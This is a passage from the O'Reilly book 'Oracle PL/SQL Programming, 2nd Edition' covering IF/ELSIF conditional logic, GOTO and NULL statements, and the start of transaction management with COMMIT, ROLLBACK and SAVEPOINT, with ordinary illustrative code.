I can also take this approach a step further and place my business rule logic into a Boolean function. I can then call this function from any of my programs and avoid reproducing the logic in that declaration statement.

Previous: 4.6 Programmer-Defined Subtypes | Oracle PL/SQL Programming, 2nd Edition | Next: 5. Conditional and Sequential Control
4.6 Programmer-Defined Subtypes | Book Index | 5. Conditional and Sequential Control
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] Conditional and Sequential Control

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 4.7 Tips for Creating and Using Variables Chapter 5 Next: 5.2 Sequential Control Statements

5. Conditional and Sequential Control

Contents:
Conditional Control Statements
Sequential Control Statements

This chapter describes two types of PL/SQL control statements: conditional control statements and sequential control statements. Almost every piece of code you write will require conditional control: the ability to direct the flow of execution through your program based on a condition; you do this with IF-THEN-ELSE statements. Far less often, you will need to tell PL/SQL to transfer control unconditionally via the GOTO statement, or to do nothing via the NULL statement.

5.1 Conditional Control Statements

You need to be able to implement requirements such as:

If the salary is between ten and twenty thousand, then apply a bonus of $1500.

If the salary is between twenty and forty thousand, apply a bonus of $1000.

If the salary is over forty thousand, give the employee a bonus of $500.

or:

If the user preference includes the toolbar, display the toolbar when the window first opens.

The IF statement allows you to design conditional logic in your programs. The IF statement comes in three flavors:

IF
THEN
END IF;

This is the simplest form of the IF statement. The condition between the IF and THEN determines whether the set of statements between the THEN and END IF should be executed. If the condition evaluates to false, then the code is not executed.

IF
ELSE
END IF;

This combination implements an either/or logic: based on the condition between the IF and THEN keywords, either execute the code between the THEN and ELSE or between the ELSE and END IF. One of these two sections of executable statements is performed.

IF
ELSIF
ELSE
END IF;

This last and most complex form of the IF statement selects an action from a series of mutually exclusive conditions and then executes the set of statements associated with that condition.

5.1.1 The IF-THEN Combination

The general format of the IF-THEN syntax is as follows:

IF <condition>
THEN
   ... sequence of executable statements ...
END IF;

The <condition> is a Boolean variable, constant, or expression that evaluates to TRUE, FALSE, or NULL. If <condition> evaluates to TRUE, then the executable statements found after the THEN keyword and before the matching END IF statement are executed. If the <condition> evaluates to FALSE or NULL, then those statements are not executed.

Here are some examples of the simple IF-THEN structure:

  • The following IF condition compares two different numeric values. Remember that if one of these two variables is NULL, then the entire Boolean expression returns NULL and the discount is not applied:

    IF :company.total_sales > system_average_sales
THEN
   apply_discount (:company.company_id);
END IF;

  • Here is an example of an IF statement with a single Boolean variable (or function -- you really can't tell the difference just by looking at this line of code):

    IF report_requested
THEN
   print_report (report_id);
END IF;

  • In the previous example, I used a single Boolean variable in my condition. If the variable report_requested evaluates to TRUE, then the report prints. Otherwise, the print step is skipped. I could code that same IF statement as follows:

    IF report_requested = TRUE
THEN
   print_report (report_id);
END IF;

While the code in the third example is logically equivalent to the IF report_requested formulation, it is superfluous and works against the nature of a Boolean variable. A Boolean variable itself evaluates to TRUE, FALSE, or NULL; you don't have to test the variable against those values. If you name your Boolean variables properly, you will be able to easily read the logic and intent of your IF-THEN logic by leaving out the unnecessary parts of the statement.

5.1.2 The IF-THEN-ELSE Combination

Use the IF-THEN-ELSE format when you want to choose between two mutually exclusive actions. The format of this either/or version of the IF statement is as follows:

IF <condition>
THEN
   ... TRUE sequence of executable statements ...
ELSE
   ... FALSE/NULL sequence of executable statements ...
END IF;

The <condition> is a Boolean variable, constant, or expression. If <condition> evaluates to TRUE, then the executable statements found after the THEN keyword and before the ELSE keyword are executed (the "TRUE sequence of executable statements"). If the <condition> evaluates to FALSE or NULL, then the executable statements that come after the ELSE keywords and before the matching END IF keywords are executed (the "FALSE/NULL sequence of executable statements").

The important thing to remember is that one of these sequences of statements will always execute, because it is an either/or construct. Once the appropriate set of statements has been executed, control passes to the statement immediately following the END IF statement.

Notice that the ELSE clause does not have a THEN associated with it.

Here are some examples of the IF-THEN-ELSE construct:

  • In this example, if there is a VIP caller, I generate an express response; otherwise, I use normal delivery:

    IF caller_type = 'VIP'
THEN
   generate_response ('EXPRESS');
ELSE
   generate_response ('NORMAL');
END IF;

  • You can put an entire IF-THEN-ELSE on a single line if you wish, as shown below:

    IF new_caller THEN get_next_id; ELSE use_current_id; END IF;

  • This example sets the order_exceeds_balance Boolean variable based on the order total:

IF :customer.order_total > max_allowable_order
THEN
   order_exceeds_balance := TRUE;
ELSE
   order_exceeds_balance := FALSE;
END IF;

In the last example, the IF statement is not only unnecessary, but confusing. Remember: you can assign a TRUE/FALSE value directly to a Boolean variable. You do not need the IF-THEN-ELSE construct to decide how to set order_exceeds_balance. Instead, you can assign the value directly, as follows:

order_exceeds_balance :=  :customer.order_total > max_allowable_order;

This assignment sets the order_exceeds_balance variable to TRUE if the customer's order total is greater than the maximum allowed, and sets it to FALSE otherwise. In other words, it achieves exactly the same result as the IF-THEN-ELSE and does it more clearly and with less code.

If you have not had much experience with Boolean variables, it may take you a little while to learn how to integrate them smoothly into your code. It is worth the effort, though. The result is cleaner, more readable code.

5.1.3 The IF-ELSIF Combination

This last form of the IF statement comes in handy when you have to implement logic which has many alternatives; it is not an either/or situation. The IF-ELSIF formulation provides the most straightforward and natural way to handle multiple, mutually exclusive alternatives. The general format for this variation of the IF statement is:

IF <condition-1>
THEN
   <statements-1>
...
ELSIF <condition-N>
THEN
   <statements-N>

[ELSE
   <else_statements>]
END IF;

Logically speaking, the IF-ELSIF implements the CASE statement in PL/SQL. The sequence of evaluation and execution for this statement is:

If <condition1> is true then execute <statements1>.
Otherwise ... if <condition n> is true then execute <statements n>.
Otherwise execute the <else_statements>.

Each ELSIF clause must have a THEN after its condition. Only the ELSE keyword does not need the THEN keyword. The ELSE clause in the IF-ELSIF is the "otherwise" of the statement. If none of the conditions evaluate to TRUE, then the statements in the ELSE clause are executed. But the ELSE clause is also optional. You can code an IF-ELSIF that has only IF and ELSIF clauses. In this case, if none of the conditions are TRUE, then no statements inside the IF block are executed.

The conditions in the IF-ELSIF are always evaluated in the order of first condition to last condition. Once a condition evaluates to TRUE, the remaining conditions are not evaluated at all.

5.1.3.1 IF-ELSIF examples

Here are some examples of the possible variations in the format of the IF-ELSIF structure:

  • I have three different caller types to check. If the caller type is not one of VIP, BILL_COLLECTOR, or INTERNATIONAL, then send the response with normal delivery:

    IF caller_type = 'VIP'
THEN
   generate_response ('EXPRESS');

ELSIF caller_type = 'BILL_COLLECTOR'
THEN
   generate_response ('THROUGH_CHICAGO');

ELSIF caller_type = 'INTERNATIONAL'
THEN
   generate_response ('AIR');

ELSE
   generate_response ('NORMAL');
END IF;

  • Here is an IF-ELSIF without an ELSE clause. If none of the conditions are TRUE, then this block of code does not run any of its executable statements:

    IF new_caller AND caller_id IS NULL
THEN
   confirm_caller;

ELSIF new_company AND company_id IS NULL
THEN
   confirm_company;

ELSIF new_call_topic AND call_id IS NULL
THEN
   confirm_call_topic;
END IF;

  • Here's an IF-ELSIF with just a single ELSIF -- and no ELSE. In this case, however, you could just as well have used an IF-THEN-ELSE structure because the two conditions are mutually exclusive. The ELSIF statements execute only if the IF condition is FALSE. The advantage to including the ELSIF is that it documents more clearly the condition under which its executable statements will be run.

    IF start_date > SYSDATE AND order_total >= min_order_total
THEN
   fill_order (order_id);

ELSIF start_date <= SYSDATE OR order_total < min_order_total
THEN
   queue_order_for_addtl_parts (order_id);
END IF;

5.1.3.2 Mutually exclusive IF-ELSIF conditions

Make sure that your IF-ELSIF conditions are mutually exclusive. The conditions in the IF-ELSIF are always evaluated in the order of first to last. Once a condition evaluates to TRUE, the remaining conditions are not evaluated at all. If you have an overlap in the conditions so that more than one condition could be TRUE, you probably have an error in your logic. Either the conditions in the IF statement should be changed to make them exclusive, or you'll sometimes run the risk of not executing the right set of code in your IF statement. The following example illustrates these points. Translate the following rules:

If the salary is between ten and twenty thousand, then apply a bonus of $1500.

If the salary is between twenty and forty thousand, apply a bonus of $1000.

If the salary is over forty thousand, give the employee a bonus of $500.

into this code:

IF salary BETWEEN 10000 AND 20000
THEN
   bonus := 1500;

ELSIF salary BETWEEN 20000 AND 40000
THEN
   bonus := 1000;

ELSIF salary > 40000
THEN
   bonus := 500;
END IF;

What if the salary is $20,000? Should the person receive a bonus of $1000 or $1500? The way the IF-ELSIF is currently written, a person making $20,000 will always receive a bonus of $1500. This might not be the intent of the specification, the overall approach of which seems to be "let the poorer catch up a little with the richer." Actually, the problem here is that the original phrasing of the specification is ambiguous -- and even incomplete. It assumes that no one ever has a salary of less than $10,000 (or, if we did not want to give the author of this specification the benefit of the doubt, we would say, "Anyone with a salary under $10,000 gets no bonus").

We can close up the holes in this logic by moving away from the BETWEEN operator and instead relying on < and >. This clarifies those break-points in the salary:

IF salary < 10000
THEN
   bonus := 2000;

ELSIF salary < 20000
THEN
   bonus := 1500;

ELSIF salary < 40000
THEN
   bonus := 1000;

ELSE -- same as ELSIF salary >= 40000
   bonus := 500;
END IF;

Now the conditions are mutually exclusive, and the people who make the lowest salary get the largest bonus. That seems fair to me.

Here is an example of an IF-ELSIF with a condition that will never evaluate to TRUE; the code associated with it, therefore, will never be executed. See if you can figure out which condition that is:

IF order_date > SYSDATE AND order_total >= min_order_total
THEN
   fill_order (order_id, 'HIGH PRIORITY');

ELSIF order_date < SYSDATE OR order_date = SYSDATE
THEN
   fill_order (order_id, 'LOW PRIORITY');

ELSIF order_date <= SYSDATE AND order_total < min_order_total
THEN
   queue_order_for_addtl_parts (order_id);

ELSIF order_total = 0
THEN
   MESSAGE (' No items have been placed in this order!');
END IF;

The only executable statement that we can say with complete confidence will never be executed is:

queue_order_for_addtl_parts (order_id);

An order is put in the queue to wait for additional parts (to boost up the order total) only if the third condition evalutes to TRUE:

The order was placed today or earlier and the total for the order is under the minimum.

The reason that queue_order_for_addtl_parts will never be executed lies in the second condition:

An order is filled with LOW PRIORITY whenever the order date was no later than the system date.

The second condition is a logical subset of the third condition. Whenever the second condition is FALSE, the third condition will also be FALSE. Whenever the third condition evaluates to TRUE, the second condition will also evaluate to TRUE. Because it comes before the third condition in the evaluation sequence, the second condition will catch any scenarios that would otherwise satisfy the third condition.

When you write an IF-ELSIF, especially one with more than three alternatives, review your logic closely and make sure there is no overlap in the conditions. For any particular set of values or circumstances, at most one -- and perhaps none -- of the conditions should evalute to TRUE.

5.1.4 Nested IF Statements

You can nest any IF statement within any other IF statement. The following IF statement shows several layers of nesting:

IF <condition1>
THEN
   IF <condition2>
   THEN
      <statements2>
   ELSE
      IF <condition3>
      THEN
         <statements3>
      ELSIF <condition4>
      THEN
         <statements4>
      END IF;
   END IF;
END IF;

Nested IF statements are often necessary to implement complex logic rules, but you should use them carefully. Nested IF statements, like nested loops, can be very difficult to understand and debug. If you find that you need to nest more than three levels deep in your conditional logic, you should review that logic and see if there is a simpler way to code the same requirement. If not, then consider creating one or more local modules to hide the innermost IF statements.

A key advantage to the nested IF structure is that it defers evaluation of inner conditions. The conditions of an inner IF statement are evaluated only if the condition for the outer IF statement that encloses them evaluates to TRUE.

If the evaluation of a condition is very expensive (in CPU or memory terms), you may want to defer that processing to an inner IF statement so that it is executed only when absolutely necessary. This is especially true of code that will be performed frequently or in areas of the application where quick response time is critical.

The following IF statement illustrates this concept:

IF condition1 AND condition2
THEN
   ...
END IF;

The PL/SQL run-time engine evalutes both conditions in order to determine if the Boolean expression A AND B evaluates to TRUE. Suppose that condition2 is an expression which PL/SQL can process simply and efficiently, such as:

total_sales > 100000

but that condition1 is a much more complex and CPU-intensive expression, perhaps calling a stored function which executes a query against the database. If condition2 is evaluated in a tenth of a second to TRUE and condition1 is evaluated in three seconds to FALSE, then it would take more than three seconds to determine that the code inside the IF statement should not be executed.

Now consider this next version of the same IF statement:

IF condition2
THEN
   IF condition1
   THEN
      ...
   END IF;
END IF;

Now condition1 will be evaluated only if condition2 evaluates to TRUE. In those situations where total_sales <= 100000, the user will never have to wait the extra three seconds to continue.

Avoiding Syntax Gotchas

Keep in mind these points about IF statement syntax:

  • Always match up an IF with an END IF. In all three variations of the IF statement, you must close off the executable statements associated with the conditional structure with an END IF statement.

  • You must have a space between the keywords END and IF. If you type ENDIF instead of END IF, the compiler will get very confused and give you the following hard-to-understand error messages:

    ORA-06550: line 14, column 4:
PLS-00103: Encountered the symbol ";" when expecting one of the following:
if

  • The ELSIF keyword does not have an embedded "E". If you use type ELSEIF in place of ELSIF, the compiler will get very confused and not recognize the ELSEIF as part of the IF statement. It will interpret it as a variable name or program name.

  • Place a semicolon (;) only after the END IF keywords. The keywords THEN, ELSE, and ELSIF should not have a semicolon after them. They are not standalone executable statements and, unlike END IF, do not complete a statement. If you include a semicolon after these keywords, the compiler will issue messages indicating that it is looking for a statement of some kind before the semicolon.

Previous: 4.7 Tips for Creating and Using Variables | Oracle PL/SQL Programming, 2nd Edition | Next: 5.2 Sequential Control Statements
4.7 Tips for Creating and Using Variables | Book Index | 5.2 Sequential Control Statements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.2 Sequential Control Statements

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

5.2 Sequential Control Statements

Certain PL/SQL control structures offer structured methods for processing executable statements in your program. You use an IF statement to test a condition to determine which parts of the code to execute. You use one of the LOOP variations (described in Chapter 7, Loops) to execute a section of code more than once. In addition to these well-structured approaches to program control, PL/SQL offers two other statements to handle out of the ordinary requirements for sequential processing: GOTO and NULL. The GOTO statement allows you to perform unconditional branching to another executable statement in the same execution section of a PL/SQL block. The NULL statement gives you a way to tell the compiler to do...absolutely nothing.

The following sections explain the implementation of the GOTO and NULL statements in PL/SQL. As with other constructs in the language, use them with care and use them appropriately, and your programs will be stronger for it.

5.2.1 The GOTO Statement

The GOTO statement performs unconditional branching to a named label. The general format for a GOTO statement is:

GOTO label_name;

where label_name is the name of a label.

This GOTO label is defined in the program as follows:

<<label_name>>

You must surround the label name with double enclosing angle brackets (<< >>). In this case, the label names a loop. This label can then be appended to the END LOOP statement, making the termination of the loop more visible. You can also issue an EXIT statement for a particular labeled loop from within another (enclosed) loop. Finally, you can GOTO that loop label, even though it was "designed" for a loop. (Chapter 7 describes the details of loop processing.)

When PL/SQL encounters a GOTO statement, it immediately shifts control to the first executable statement following the label.

Contrary to popular opinion (including mine), the GOTO statement can come in handy. There are cases where a GOTO statement can simplify the logic in your program. On the other hand, PL/SQL provides so many different control constructs and modularization techniques that you can almost always find a better way to do something than with a GOTO.

There are several restrictions regarding the GOTO statement, described in the sections below.

5.2.1.1 At least one executable statement must follow a label

A label itself is not an executable statement (notice that it does not have a semicolon (;) after the label brackets), so it cannot take the place of one. All of the uses of the loop label in the following blocks are illegal because the labels are not followed by an executable statement:

IF status_inout = 'COMPLETED'
THEN
   <<all_done>> /* Illegal! */
ELSE
   schedule_activity;
END IF;

DECLARE
   CURSOR company_cur IS ...;
BEGIN
   FOR company_rec IN company_cur
   LOOP
      apply_bonuses (company_rec.company_id);
      <<loop_termination>> /* Illegal! */
   END LOOP;
END;

FUNCTION new_formula (molecule_in IN NUMBER) RETURN VARCHAR2
IS
BEGIN
   ... construct formula for molecule ...
   RETURN formula_string;

   <<all_done>> /* Illegal! */

END;

5.2.1.2 Target labels and scope of GOTO

The target label must be in the same scope as the GOTO statement. In the context of the GOTO statement, each of the following constructs maintains its own scope: functions, procedures, anonymous blocks, IF statements, LOOP statements, and exception handlers. All of the code examples below generate the same PL/SQL error:

PLS-00375: illegal GOTO statement; this GOTO cannot branch to label

  • IF conditions. The only way to enter an IF statement is through an evaluation to TRUE of an IF condition. Therefore, this code produces an error:

    GOTO label_inside_IF;
IF status = 'NEW'
THEN
   <<label_inside_IF>> /* Out of scope! */
   show_new_one;
END IF;

  • BEGIN statements. The only way to enter a block-within-a-block is through the sub-block's BEGIN statement. PL/SQL insists on orderly entrances and exits. This code produces an error because it doesn't comply with this structure:

    GOTO label_inside_subblock;
BEGIN
   <<label_inside_subblock>> /* Crosses block boundary! */
   NULL;
END;

  • Scope of IF statements. Each IF clause of the IF statement is its own scope. A GOTO may not transfer from one clause to another. This code produces an error:

    IF status = 'NEW'
THEN
   <<new_status>>
   GOTO old_status; /* Crosses IF clause boundary! */
ELSIF status = 'OLD'
THEN
   <<old_status>>
   GOTO new_status; /* Crosses IF clause boundary! */
END IF;

  • Don't jump into the middle of a loop. You cannot jump into the middle of a loop with a GOTO. This code produces an error:

    FOR month_num IN 1 .. 12
LOOP
   <<do_a_month>>
   schedule_activity (month_num);
END LOOP;
GOTO do_a_month; /* Can't go back into loop. */

  • Don't GOTO a local module. You also cannot issue a GOTO inside of a module to a label in the main body. This code produces an error:

    DECLARE
   FUNCTION local_null IS
   BEGIN
      <<descrip_case_statement>>
      NULL;
   END;
BEGIN
   GOTO descrip_case_statement; /* Label not visible here. */
END;

5.2.1.3 Target labels and PL/SQL blocks

The target label must be in the same part of the PL/SQL block as the GOTO statement. A GOTO in the executable section may not go to a label in the exception section. Similarly, a GOTO in the exception section may not go to a label in the executable section. A GOTO in an exception handler may reference a label in the same handler. The code example below generates the same PL/SQL error shown in the previous section (PLS-00375):

BEGIN
   /*
   || The label and GOTO must be in the same section!
   */
   GOTO out_of_here;
EXCEPTION
   WHEN OTHERS
   THEN
      <<out_of_here>> /* Out of scope! */
      NULL;
END;

5.2.2 The NULL Statement

Usually when you write a statement in a program, you want it to do something. There are cases, however, when you want to tell PL/SQL to do absolutely nothing, and that is where the NULL statement comes in handy. The NULL statement has the following format:

NULL;

Well, you wouldn't want a do-nothing statement to be complicated, would you? The NULL statement is simply the reserved word followed by a semicolon (;) to indicate that this is a statement and not the NULL value reserved word. The NULL statement does nothing except pass control to the next executable statement.

Why would you want to use the NULL statement? There are several reasons, described in the following sections.

5.2.2.1 Improving the readability of your program

There are many situations in your program where you logically do not want to take any action. In most of these cases, PL/SQL will let you write nothing and the program will execute as you wish. The only drawback is the ambiguity surrounding this solution: it is not clear to a person examining the program that you knowingly did not take any action.

Consider the IF statement. When you write an IF statement you do not have to include an ELSE clause. To produce a report based on a selection, you can code:

IF :report.selection = 'DETAIL'
THEN
   exec_detail_report;
END IF;

What should the program have been doing if the report selection is not `DETAIL'? One would assume that the program was supposed to do nothing. But because this is not explicitly stated in the code, one is left to wonder if perhaps there was an oversight. If, on the other hand, you include an explicit ELSE clause that does nothing, you state very clearly, "Don't worry, I thought about this possibility and I really want nothing to happen."

IF :report.selection = 'DETAIL'
THEN
   exec_detail_report;
ELSE
   NULL;
END IF;

5.2.2.2 Nullifying the effect of a raised exception

The optional exception section of a program contains one or more exception handlers. These handlers trap and handle errors that have been raised in your program. The structure and flow of the exception section is similar in structure and flow to a conditional case statement, as follows:

EXCEPTION
   WHEN <exception_name1>
   THEN
      executable_statements;

   WHEN <exception_nameN>
   THEN
      executable_statements;

   WHEN OTHERS
   THEN
      executable_statements;
END;

If <exception_name1> is raised, then execute its statements; if <exception_nameN> is raised, then execute its statements; and so on. The WHEN OTHERS clause handles any exceptions not handled in the previous WHEN clauses (it is just like the ELSE clause of the IF statement). You can use the NULL statement to make sure that a raised exception halts execution of the current PL/SQL block, but does not propagate any exceptions to enclosing blocks:

PROCEDURE calc_avg_sales
BEGIN
   :sales.avg := :sales.month1 / :sales.total;
EXCEPTION
   WHEN ZERO_DIVIDE
   THEN
      :sales.avg := 0;
      RAISE FORM_TRIGGER_FAILURE;

   WHEN OTHERS THEN NULL;

END;

If total sales are zero, then an exception is raised, the average is set to zero, and the trigger processing in Oracle Forms is halted. If any other exceptions occur (such as VALUE_ERROR, which would be raised if the number generated by the calculation is larger than the sales.avg item allows), then the procedure does nothing and processing continues.

Even though the WHEN OTHERS clause of the exception section is like the ELSE clause of an IF statement, the impact of a NULL statement is very different in each of these statements. The addition of an ELSE NULL clause to the IF statement has an impact only on the readability of the code. The IF statement executes in precisely the same way it would have without the ELSE NULL clause.

When you include an exception handler with the NULL executable statement, you are saying, in effect: "End processing in the current PL/SQL block and move to the enclosing block, but otherwise take no action." This is very different from leaving out the exception handler altogether. If there is no exception handler, then PL/SQL raises the exception in the enclosing block again, and continues to do so until the last block, at which point it becomes an unhandled exception and halts the program. A "null" exception handler passes control back to the enclosing block, but does not cause the exception to be raised again.

See Chapter 8, Exception Handlers, for more detailed information about exceptions.

5.2.2.3 Supporting top-down design of modules

With top-down design (also known as top-down decomposition), you move from a general description of your system through step-by-step refinements of that idea to the modules which implement that system, and finally to the code that implements the modules. By moving through levels of abstraction, your mind concentrates on a relatively small number of issues at a time and can better process the details.

From a programming perspective, you implement top-down design by creating "stubs," or dummy programs. A stub will have the name and parameter list you need, but not have anything under the covers. Using stubs you define the API (application programmatic interface), which indicates the way that the different modules connect to each other.

In order for a PL/SQL program to compile, it must have at least one executable statement. The smallest, most nonintrusive program you can build will therefore be composed of a single NULL statement. Here are sample stubs for both a procedure and a function:

PROCEDURE revise_timetable (year_in IN NUMBER) IS
BEGIN
   NULL;
END;

FUNCTION company_name (company_id_in IN NUMBER) RETURN VARCHAR2 IS
BEGIN
   RETURN NULL;
END;

The NULL statement gives you a way to quickly cobble together the programmatic interface you need to formulate the functional hierarchy of your application. I'd like to say that this is half the battle, but I am not really sure that is so. You still have to figure out how to fill in all of those stubs.

5.2.2.4 Using NULL with GOTO to avoid additional statement execution

In some cases, you can pair NULL with GOTO to avoid having to execute additional statements. Most of you will never have to use the GOTO statement; there are very few occasions where it is truly needed. If you ever do use GOTO, however, you should remember that when you GOTO a label, at least one executable statement must follow that label. In the following example, I use a GOTO statement to quickly move to the end of my program if the state of my data indicates that no further processing is required:

PROCEDURE process_data (data_in IN orders%ROWTYPE,
                        data_action IN VARCHAR2) IS
BEGIN
   -- First in series of validations.
   IF data_in.ship_date IS NOT NULL
   THEN
      status := validate_shipdate (data_in.ship_date);
      IF status != 0 THEN GOTO end_of_procedure;
   END IF;

   -- Second in series of validations.
   IF data_in.order_date IS NOT NULL
   THEN
      status := validate_orderdate (data_in.order_date);
      IF status != 0 THEN GOTO end_of_procedure;
   END IF;

   ... more validations ...

   << end_of_procedure >>
   NULL;
END;

With this approach, if I encounter an error in any single section, I use the GOTO to bypass all remaining validation checks. Because I do not have to do anything at the termination of the procedure, I place a NULL statement after the label because at least one statement is required there.

Previous: 5.1 Conditional Control Statements | Oracle PL/SQL Programming, 2nd Edition | Next: 6. Database Interaction and Cursors
5.1 Conditional Control Statements | Book Index | 6. Database Interaction and Cursors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] Database Interaction and Cursors

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 5.2 Sequential Control Statements Chapter 6 Next: 6.2 Cursors in PL/SQL

6. Database Interaction and Cursors

Contents:
Transaction Management
Cursors in PL/SQL
Implicit and Explicit Cursors
Declaring Cursors
Opening Cursors
Fetching from Cursors
Column Aliases in Cursors
Closing Cursors
Cursor Attributes
Cursor Parameters
SELECT FOR UPDATE in Cursors
Cursor Variables
Working with Cursors

PL/SQL is tightly integrated with the Oracle database via the SQL language. From within PL/SQL, you can execute any DML (data manipulation language) statements, including INSERTs, UPDATEs, DELETEs, and, of course, queries. You can also join multiple SQL statements together logically as a transaction, so that they are either saved ("committed" in SQL parlance) together or rejected in their entirety (rolled back). This chapter examines the SQL statements available inside PL/SQL to manage transactions. It then moves on to cursors, which give you a way to fetch and process database information in your PL/SQL program.

6.1 Transaction Management

The Oracle RDBMS provides a very robust transaction model, as you might expect for a relational database. You (or more precisely, your application code) determine what constitutes a transaction, the logical unit of work that must be either saved together with a COMMIT statement or rolled back together with a ROLLBACK statement. A transaction begins implicitly with the first SQL statement issued since the last COMMIT or ROLLBACK (or with the start of a session).

PL/SQL provides the following statements for transaction management:

COMMIT

Saves all outstanding changes since the last COMMIT or ROLLBACK and releases all locks.

ROLLBACK

Erases all outstanding changes since the last COMMIT or ROLLBACK and releases all locks.

ROLLBACK TO SAVEPOINT

Erases all changes made since the specified savepoint was established.

SAVEPOINT

Establishes a savepoint, which then allows you to perform partial ROLLBACKs.

SET TRANSACTION

Allows you to begin a read-only or read-write session, establish an isolation level, or assign the current transaction to a specified rollback segment.

LOCK TABLE

Allows you to lock an entire database table in the specified mode. This overrides the default row-level locking usually applied to a table.

These statements are explained in more detail in the following sections.

6.1.1 The COMMIT Statement

When you COMMIT, you make permanent any changes made by your session to the database in the current transaction. Once you commit, your changes will be visible to other Oracle sessions or users. The syntax for the COMMIT statement is:

    COMMIT [WORK] [COMMENT text];

The WORK keyword is optional and can be used to improve readability.

The COMMENT keyword specifies a comment which is then associated with the current transaction. The text must be a quoted literal and can be no more than 50 characters in length. The COMMENT text is usually employed with distributed transactions. This text can be handy for examining and resolving in-doubt transactions within a two-phase commit framework. It is stored in the data dictionary along with the transaction ID.

Note that COMMIT releases any row and table locks issued in your session, such as with a SELECT FOR UPDATE statement. It also erases any savepoints issued since the last COMMIT or ROLLBACK.

Once you COMMIT your changes, you cannot roll them back with a ROLLBACK statement.

The following statements are all valid uses of the COMMIT:

COMMIT;
COMMIT WORK;
COMMIT COMMENT 'maintaining account balance'.

6.1.2 The ROLLBACK Statement

When you ROLLBACK, you undo some or all changes made by your session to the database in the current transaction. Why would you want to erase changes? From an ad hoc SQL standpoint, the ROLLBACK gives you a way to erase mistakes you might have made, as in:

    DELETE FROM orders;

"No, no! I meant to delete only the orders before May 1995!" No problem, just issue ROLLBACK. From an application coding standpoint, ROLLBACK is important because it allows you to clean up or restart from a "clean state" when a problem occurs.

The syntax for the ROLLBACK statement is:

    ROLLBACK [WORK] [TO [SAVEPOINT] savepoint_name];

There are two basic ways to use ROLLBACK: without parameters or with the TO clause to indicate a savepoint at which the ROLLBACK should stop.

The parameterless ROLLBACK undoes all outstanding changes in your transaction.

The ROLLBACK TO version allows you to undo all changes and release all acquired locks which were issued since the savepoint identified by savepoint_name was marked (see the next section on the SAVEPOINT statement for more information on how to mark a savepoint in your application).

The savepoint_name is an undeclared Oracle identifier. It cannot be a literal (enclosed in quotes) or variable name.

All of the following uses of ROLLBACK are valid:

ROLLBACK;
ROLLBACK WORK;
ROLLBACK TO begin_cleanup;

All of the following uses of ROLLBACK are invalid:

ROLLBACK SAVEPOINT;
  -- ORA-02181: invalid option to ROLLBACK WORK
  -- Must use TO keyword before SAVEPOINT.
ROLLBACK WORK TO;
  -- ORA-02182: save point name expected
  -- Must specify savepoint name.
ROLLBACK TO SAVEPOINT 'favorite_movies';
  -- ORA-03001: Unimplemented feature
  -- Savepoint cannot be in quotes.

When you roll back to a specific savepoint, all savepoints issued after the specified savepoint_name are erased. The savepoint to which you roll back is not, however, erased. This means that you can restart your transaction from that point and, if necessary, roll back to that same savepoint if another error occurs.

Immediately before you execute an INSERT, UPDATE, or DELETE, PL/SQL implicitly generates a savepoint. If your DML statement then fails, a rollback is automatically performed to that implicit savepoint. In this way, only that last DML statement is undone.

6.1.3 The SAVEPOINT Statement

SAVEPOINT gives a name to and marks a point in the processing of your transaction. This marker allows you to ROLLBACK TO that point, erasing any changes and releasing any locks issued after that savepoint, but preserving any changes and locks which occurred before you marked the savepoint.

The syntax for the SAVEPOINT statement is:

SAVEPOINT savepoint_name;

where savepoint_name is an undeclared identifier. This means that it must conform to the rules for an Oracle identifier (up to 30 characters in length, starting with a letter, containing letters, numbers and #, $, or _ ), but that you do not need to (nor can you) declare that identifier.

Savepoints are not scoped to PL/SQL blocks. If you reuse a savepoint name within the current transaction, that savepoint is "moved" from its original position to the current point in the transaction, regardless of the procedure, function, or anonymous block in which the SAVEPOINT statements are executed. As a corollary, if you issue a SAVEPOINT inside a recursive program, a new SAVEPOINT is executed at each level of recursion, but you can only roll back to the most recently marked savepoint.

6.1.4 The SET TRANSACTION Statement

The SET TRANSACTION statement allows you to begin a read-only or read-write session, establish an isolation level, or assign the current transaction to a specified rollback segment. This statement must be the first SQL statement processed in a transaction and it can appear only once. This statement comes in the following four flavors:

SET TRANSACTION READ ONLY;

This version defines the current transaction as read-only. In a read-only transaction, all subsequent queries only see those changes which were committed before the transaction began (providing a read-consistent view across tables and queries). This statement is useful when you are executing long-running, multiple query reports and you want to make sure that the data used in the report is consistent:

SET TRANSACTION READ WRITE;

This version defines the current transaction as read-write:

SET TRANSACTION ISOLATION LEVEL SERIALIZABLE|READ COMMITTED;

This version defines how transactions that modify the database should be handled. You can specify a serializable or read-committed isolation level. When you specify SERIALIZABLE, a data manipulation statement (update, insert, delete) which attempts to modify a table already modified in an uncommitted transaction will fail. To execute this command, you must set the database initialization parameter COMPATIBLE to 7.3.0 or higher.

If you specify READ COMMITTED, a DML which requires row-level locks held by another transaction will wait until those row locks are released:

SET TRANSACTION USE ROLLBACK SEGMENT rollback_segname;

This version assigns the current transaction to the specified rollback segment and establishes the transaction as read-write. This statement cannot be used in conjunction with SET TRANSACTION READ ONLY.

6.1.5 The LOCK TABLE Statement

This statement allows you to lock an entire database table with the specified lock mode. By doing this, you can share or deny access to that table while you perform operations against it. The syntax for this statement is:

LOCK TABLE table_reference_list IN lock_mode MODE [NOWAIT];

